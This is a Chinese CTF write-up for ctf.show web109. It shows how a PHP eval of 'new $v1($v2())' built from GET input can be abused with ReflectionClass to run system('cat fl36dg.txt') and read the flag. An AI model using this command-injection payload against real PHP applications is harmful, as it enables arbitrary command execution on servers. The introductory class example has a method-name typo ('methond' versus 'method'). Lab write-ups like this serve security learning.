CTF技巧_Web——PHP特性_使用反射类ReflectionClass执行命令
作者:互联网
文章目录
一、简述
ReflectionClass反射类在PHP5新加入,它可以与已定义的类建立映射关系,通过反射类可以对类操作
//定义一个类
class fuc{
static
function methond(){
echo 'Hello World!';
}
}
//建立fuc类的反射类
$rc = new ReflectionClass('fuc');
//通过反射类实例化fuc类
$fuc = $rc->newInstance();
//执行类方法
$fuc->method();
反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))
来执行命令
二、PHP源码
题目来源:ctf.show——web入门_web109
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
三、方法及原理
已知了flag在./fl36dg.txt
,命令执行system(‘cat fl36dg.txt’)
获取flag,这里可以使用反射类new ReflectionClass()
即payload:?v1=ReflectionClass&v2=system('cat fl36dg.txt')
当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo
显示
即使传入了空的括号,代码依旧可以运行,且error_reporting(0)
的存在阻止了报错
<?php
error_reporting(0);
echo new ReflectionClass(system('ls')());
?>
>>index.php
标签:Web,ReflectionClass,反射,v2,v1,CTF,fuc,PHP 来源: https://blog.csdn.net/Xxy605/article/details/110109147